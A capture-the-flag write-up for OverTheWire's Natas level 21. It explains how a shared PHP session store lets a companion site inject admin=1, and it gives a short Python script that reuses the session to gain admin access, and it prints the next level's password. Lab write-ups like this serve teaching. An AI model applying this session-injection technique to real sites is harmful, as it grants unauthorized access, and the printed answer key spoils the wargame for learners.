Description

Two co-located websites share the same session store. The experimenter site (natas21-experimenter) writes arbitrary session variables via POST parameters. Setting admin=1 there and reusing that session ID on the main site grants admin access.

Overview

• Session data is shared across both sites because they are on the same server.
• The experimenter site uses $_SESSION[$key] = $value for all POST keys, so posting admin=1 injects an admin flag.
• Bringing that session ID to the main site then passes the admin check.

Solution

experimenter_url = "http://natas21-experimenter.natas.labs.overthewire.org/"

# Step 1: create a session on the experimenter with admin=1
r = requests.post(experimenter_url, auth=("natas21", current_password),
                  data={"admin": "1", "submit": ""})
session_id = r.cookies["PHPSESSID"]

# Step 2: use that session on the main site
r2 = requests.get(url, auth=("natas21", current_password),
                  cookies={"PHPSESSID": session_id})
result = re.search(r"The password for natas22 is (.*)", r2.text).group(1).strip()

Password

91awVM9oDiUGm33JdzM7RVLBS8bz9n0s